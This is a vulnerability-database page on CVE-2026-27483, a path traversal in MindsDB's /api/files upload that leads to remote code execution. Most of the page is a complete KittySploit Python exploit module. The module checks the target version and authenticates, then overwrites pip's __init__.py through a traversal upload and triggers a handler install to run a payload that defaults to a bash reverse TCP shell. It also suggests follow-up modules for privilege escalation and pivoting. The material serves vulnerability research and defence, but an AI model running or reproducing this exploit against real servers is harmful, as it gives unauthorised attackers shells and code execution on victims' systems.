MindsDB CVE-2026-27483 - Path Traversal to RCE
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for Path Traversal in Mindsdb | 6 Mar 202607:52 | – | githubexploit | |
| Exploit for Path Traversal in Mindsdb | 15 Jul 202606:35 | – | githubexploit | |
| CVE-2026-27483 | 24 Feb 202614:00 | – | attackerkb | |
| CVE-2026-27483 | 22 Feb 202619:31 | – | circl | |
| MindsDB 路径遍历漏洞 | 24 Feb 202600:00 | – | cnnvd | |
| CVE-2026-27483 | 24 Feb 202614:00 | – | cve | |
| CVE-2026-27483 MindsDB has Path Traversal in /api/files Leading to Remote Code Execution | 24 Feb 202614:00 | – | cvelist | |
| MindsDB 25.9.1.1 - Path Traversal | 4 May 202600:00 | – | exploitdb | |
| EUVD-2026-8466 | 24 Feb 202614:00 | – | euvd | |
| MindsDB: Path Traversal in /api/files Leading to Remote Code Execution | 24 Feb 202620:07 | – | github |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
"name": "MindsDB CVE-2026-27483 - Path Traversal to RCE",
"description": (
"MindsDB versions below 25.9.1.1 are vulnerable to a path traversal in /api/files upload. "
"A crafted file write can overwrite pip internals and execute attacker-controlled code when "
"a handler installation is triggered."
),
"author": ["Lohitya Pushkar (thewhiteh4t)", "XlabAITeam", "KittySploit Team"],
"cve": "CVE-2026-27483",
"platform": Platform.LINUX,
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"references": [
"https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq",
"https://github.com/mindsdb/mindsdb",
],
"tags": ["mindsdb", "path-traversal", "rce"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
base_path = OptString("/", "MindsDB base path", required=False)
username = OptString("", "MindsDB username if auth is enabled", required=False)
password = OptString("", "MindsDB password if auth is enabled", required=False)
handler = OptString("anomaly_detection", "Handler used to trigger pip import", required=False)
traversal_target = OptString(
"../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py",
"Traversal destination for uploaded file",
required=False,
)
def _prefix(self) -> str:
bp = str(self.base_path or "/").strip()
if not bp.startswith("/"):
bp = "/" + bp
return bp.rstrip("/")
@staticmethod
def _parse_version(version_text: str):
if not version_text:
return ()
match = re.match(r"(\d+)\.(\d+)\.(\d+)\.(\d+)", version_text.strip())
if not match:
return ()
return tuple(int(p) for p in match.groups())
def _auth_headers(self) -> dict:
if not self.username or not self.password:
return {}
login = self.http_request(
method="POST",
path=f"{self._prefix()}/api/login",
json={"username": str(self.username), "password": str(self.password)},
timeout=max(int(self.timeout or 10), 10),
)
if not login or login.status_code != 200:
return {}
try:
token = (login.json() or {}).get("token")
except Exception:
token = None
if not token:
return {}
return {"Authorization": f"Bearer {token}"}
def _build_python_wrapper(self) -> str:
payload_cmd = str(self.payload).strip() if self.payload else ""
if not payload_cmd:
return ""
return (
"import subprocess\n"
"try:\n"
f" subprocess.Popen(['/bin/sh', '-c', {payload_cmd!r}])\n"
"except Exception:\n"
" pass\n"
)
def check(self):
status = self.http_request(
method="GET",
path=f"{self._prefix()}/api/status",
timeout=max(int(self.timeout or 10), 10),
)
if not status or status.status_code != 200:
return {
"vulnerable": False,
"reason": f"Unable to query /api/status (HTTP {status.status_code if status else 'no response'})",
"confidence": "low",
}
try:
data = status.json() or {}
except Exception as exc:
return {"vulnerable": False, "reason": f"Invalid JSON in /api/status: {exc}", "confidence": "low"}
version_text = str(data.get("mindsdb_version", "")).strip()
version = self._parse_version(version_text)
if not version:
return {
"vulnerable": False,
"reason": f"Unable to parse MindsDB version '{version_text}'",
"confidence": "low",
}
if version >= (25, 9, 1, 1):
return {
"vulnerable": False,
"reason": f"MindsDB {version_text} appears patched (>= 25.9.1.1)",
"confidence": "high",
}
if version < (25, 4, 1, 0):
return {
"vulnerable": True,
"reason": (
f"MindsDB {version_text} is older than PoC baseline 25.4.1.0; "
"target may still be vulnerable but traversal_target may need adjustment"
),
"confidence": "medium",
}
return {
"vulnerable": True,
"reason": f"MindsDB {version_text} is within vulnerable range (< 25.9.1.1)",
"confidence": "high",
}
def run(self):
status = self.http_request(
method="GET",
path=f"{self._prefix()}/api/status",
timeout=max(int(self.timeout or 10), 10),
)
if not status or status.status_code != 200:
print_error("Target is unreachable or does not expose /api/status")
return False
try:
data = status.json() or {}
version_text = str(data.get("mindsdb_version", "")).strip()
auth_enabled = bool((data.get("auth") or {}).get("http_auth_enabled"))
except Exception as exc:
print_error(f"Unable to parse /api/status: {exc}")
return False
version = self._parse_version(version_text)
if not version:
print_error(f"Unable to parse MindsDB version: {version_text}")
return False
if version >= (25, 9, 1, 1):
print_error(f"MindsDB {version_text} is patched (>= 25.9.1.1)")
return False
headers = {}
if auth_enabled:
if not self.username or not self.password:
print_error("Authentication is enabled: set username and password")
return False
headers = self._auth_headers()
if not headers:
print_error("Authentication failed")
return False
print_success("Authentication succeeded")
else:
print_status("Authentication disabled on target")
wrapper = self._build_python_wrapper()
if not wrapper:
print_error("No payload generated. Set a valid payload before running the exploit.")
return False
random_name = self.random_text(8).lower()
form_data = {"name": random_name, "source": random_name, "source_type": "file"}
files = {"file": (str(self.traversal_target), wrapper, "text/plain")}
print_status(f"Uploading traversal payload as file '{random_name}'...")
upload = self.http_request(
method="PUT",
path=f"{self._prefix()}/api/files/{random_name}",
data=form_data,
files=files,
headers=headers,
timeout=max(int(self.timeout or 15), 15),
)
if not upload:
print_error("No response during upload request")
return False
if upload.status_code not in (200, 201, 204, 400):
print_error(f"Upload failed with HTTP {upload.status_code}")
print_info((upload.text or "")[:500])
return False
print_success(f"Payload upload request accepted (HTTP {upload.status_code})")
print_status(f"Triggering handler install: {self.handler}")
trigger = self.http_request(
method="POST",
path=f"{self._prefix()}/api/handlers/{self.handler}/install",
json={},
headers=headers,
timeout=max(int(self.timeout or 10), 10),
)
if not trigger:
print_warning("No response while triggering handler install; payload may still execute asynchronously")
return True
if trigger.status_code in (200, 201, 202, 204):
print_success("Trigger request sent successfully")
return True
if trigger.status_code >= 500:
print_warning(
f"Trigger returned HTTP {trigger.status_code}; this can still indicate backend execution in some setups"
)
print_info((trigger.text or "")[:500])
return True
print_error(f"Trigger failed with HTTP {trigger.status_code}")
print_info((trigger.text or "")[:500])
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
EPSS0.09011
SSVC